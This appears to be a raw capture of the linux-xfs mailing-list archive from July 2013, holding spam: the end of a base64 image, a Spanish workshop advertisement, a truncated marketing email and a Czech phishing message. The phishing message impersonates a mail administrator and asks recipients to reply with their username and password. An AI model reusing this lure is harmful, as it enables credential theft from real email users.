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 --trPU=_uLtcIe393evi1nMx7ptO1aUeq1OI-- From divisioneducacion.continua@yahoo.com.mx Thu Jul 4 22:34:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.2 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 839067F4E for ; Thu, 4 Jul 2013 22:34:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 716578F8049 for ; Thu, 4 Jul 2013 20:34:17 -0700 (PDT) X-ASG-Debug-ID: 1372995254-04cbb0468fb88260001-w1Z2WR Received: from mail.sulzer.com (s000008.sulzer.com [194.69.166.68]) by cuda.sgi.com with ESMTP id 5DoWkTRCCztgOFfo (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 04 Jul 2013 20:34:15 -0700 (PDT) X-Barracuda-Envelope-From: divisioneducacion.continua@yahoo.com.mx X-Barracuda-Apparent-Source-IP: 194.69.166.68 Received: from S000007.sulzer.com (10.185.0.165) by smtp.sulzer.com (194.69.166.68) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 5 Jul 2013 05:34:01 +0200 Received: from mailrelay.sulzer.com (10.187.0.12) by mailrelay.sulzer.com (10.185.0.132) with Microsoft SMTP Server id 14.3.123.3; Fri, 5 Jul 2013 05:34:21 +0200 Received: from yahoo.com.mx ([189.194.128.138]) by mailrelay.sulzer.com with Microsoft SMTPSVC(6.0.3790.4675); Fri, 5 Jul 2013 05:34:16 +0200 From: DIPLOMADOS To: Subject: Taller: Ms-Project, Herramienta esencial para Administracion de Proyectos Date: Thu, 4 Jul 2013 21:30:45 -0600 X-ASG-Orig-Subj: Taller: Ms-Project, Herramienta esencial para Administracion de Proyectos MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 05 Jul 2013 03:34:17.0580 (UTC) FILETIME=[874EC2C0:01CE7930] Received-SPF: None (S000007.sulzer.com: divisioneducacion.continua@yahoo.com.mx does not designate permitted sender hosts) X-Barracuda-Connect: s000008.sulzer.com[194.69.166.68] X-Barracuda-Start-Time: 1372995255 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135841 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message

    La Divisin de Educacin Continua y Fomento para el Desarrollo Econmico tienen el gusto de invitarlo al Taller  Ms-Project, Herramienta esencial Para  Administracin de Proyectos que se llevar a cabo en la Ciudad de Quertaro, con una duracin de 16 horas

     

    Objetivo:

    Que el participante adquiera los conocimientos sobre el software de MS Project de tal manera que apoye el proceso automatizado de solucin de problemas, desarrollo de proyectos y toma de decisiones.

     

     

    Temario:

    1.  Introduccin del esquema del proyecto

    2.  Detalles de programacin de las tareas

    3.  Revisin del proyecto, ajustes del proyecto inicial

    4.  Comunicacin del proyecto, seleccin e impresin de Informes

    5.  Establecer el plan original previsto, introduccin de valores reales

    6.  Informes para el seguimiento a los proyectos

    7.  Comparar datos previstos frente a programados, anlisis de la ejecucin del proyecto

    8.  Solucin software de ProChain para Cadena Critica

     

    Fecha de inicio: 12 de julio

    CUPO LIMITADO

     

    INCLUYE:

    -Instructor experto en la materia

    -Material especializado

    -Constancias

    -Servicio de caf continuo

     

    Requisitos:

    -Solicitud de Inscripcin

    -Comprobante de Pago

     

    Sin otro particular por el momento y esperando contar con su distinguida presencia

    --

    Reciba un cordial saludo


     

    Lic. Julio Alejandro Mendoza
    Coordinador Acadmico
    Divisin de Educacin continua
    Fomento Para el Desarrollo Econmico
    Tels. Oficina Quertaro
    Conmutador (442) 455 55 55
    Directo (442) 220 71 18

    e-mail:  jamendoza@divisiondeeducacioncontinua.mx

             juliomendoza@fundacionparaeldesarrolloeconomico.org

    From adn@canal22.org.mx Fri Jul 5 04:07:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36DCC7F51 for ; Fri, 5 Jul 2013 04:07:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2352C304062 for ; Fri, 5 Jul 2013 02:07:09 -0700 (PDT) X-ASG-Debug-ID: 1373015227-04cb6c2a428f3f80001-NocioJ Received: from zimbra.umlub.pl (zimbra.umlub.pl [212.182.57.14]) by cuda.sgi.com with ESMTP id cAXbTbcqythxHpTn for ; Fri, 05 Jul 2013 02:07:08 -0700 (PDT) X-Barracuda-Envelope-From: adn@canal22.org.mx X-Barracuda-Apparent-Source-IP: 212.182.57.14 Received: from localhost (localhost [127.0.0.1]) by zimbra.umlub.pl (Postfix) with ESMTP id 8893D10A4B2C; Fri, 5 Jul 2013 10:33:32 +0200 (CEST) X-Virus-Scanned: amavisd-new at zimbra.umlub.pl Received: from zimbra.umlub.pl ([127.0.0.1]) by localhost (zimbra.umlub.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CWvUPuSLfkAJ; Fri, 5 Jul 2013 10:33:31 +0200 (CEST) Received: from [10.184.75.37] (unknown [41.203.67.52]) by zimbra.umlub.pl (Postfix) with ESMTPSA id CBD8110A4B32; Fri, 5 Jul 2013 10:33:15 +0200 (CEST) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?c3Byw6F2Y2Ugc3lzdMOpbXU=?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?c3Byw6F2Y2Ugc3lzdMOpbXU=?= From: " ADMIN" Date: Fri, 05 Jul 2013 01:33:12 -0700 Reply-To: upgrade1@dgoh.org X-Antivirus: avast! (VPS 130704-1, 07/04/2013), Outbound message X-Antivirus-Status: Clean Message-Id: <20130705083315.CBD8110A4B32@zimbra.umlub.pl> X-Barracuda-Connect: zimbra.umlub.pl[212.182.57.14] X-Barracuda-Start-Time: 1373015227 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- V=C3=A1=C5=A1 e-mail byl prekrocen 2GB, kter=C3=BD byl vytvoren n=C3=A1=C5= =A1 webmaster, jste aktu=C3=A1lne spu=C5=A1ten=C3=A9 2,30 GB, nebudete moci odes=C3=ADlat nebo = prij=C3=ADmat nov=C3=A9 zpr=C3=A1vy, dokud nepotvrd=C3=ADte do slo=C5=BEky = Dorucen=C3=A1 po=C5=A1ta. Vyplnte formul=C3=A1r n=C3=AD=C5=BEe pro overen= =C3=AD =C3=BActu. Vyplnte formul=C3=A1r n=C3=AD=C5=BEe a potvrdit svuj =C3=BAcet a e-mailu: (1) E-mail: (2) U=C5=BEivatelsk=C3=A9 jm=C3=A9no: (3) Heslo: (4) Potvrdit heslo: dekuji spr=C3=A1vce syst=C3=A9mu From dma_1636@rp.email.girafa.com.br Fri Jul 5 07:38:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C0CCE7CBF for ; Fri, 5 Jul 2013 07:38:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 06A26AC002 for ; Fri, 5 Jul 2013 05:38:13 -0700 (PDT) X-ASG-Debug-ID: 1373027884-04cb6c2a46904240001-w1Z2WR Received: from vt-0007-107.email.girafa.com.br (vt-0007-107.email.girafa.com.br [187.61.43.107]) by cuda.sgi.com with ESMTP id QcXgQEciBtiQA3V8 for ; Fri, 05 Jul 2013 05:38:05 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.43.107 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=QCXbYWKuEHiLHGTV5p8F+7sq9HI=; b=fjD+Xrmm9QPDqpFAj1sW3PeoYknKXsT0o/cXdxgXqsLeqTeOI50ZpZv2jJBl3Kr71nKuUtIAFaZD 0ybqdN+MoPycVmboP5Ndz9uKJJMUc08fUrnUmdTxkyp/EP+6+nrdx+dBd3cSB8SDXSDEUYCJf8Gv //wKReYEVaze8Wd9WEg= Received: by vt-0007-107.email.girafa.com.br id hqqv2q0sh70s for ; Fri, 5 Jul 2013 09:38:00 -0300 (envelope-from ) From: "Girafa" To: "" Subject: 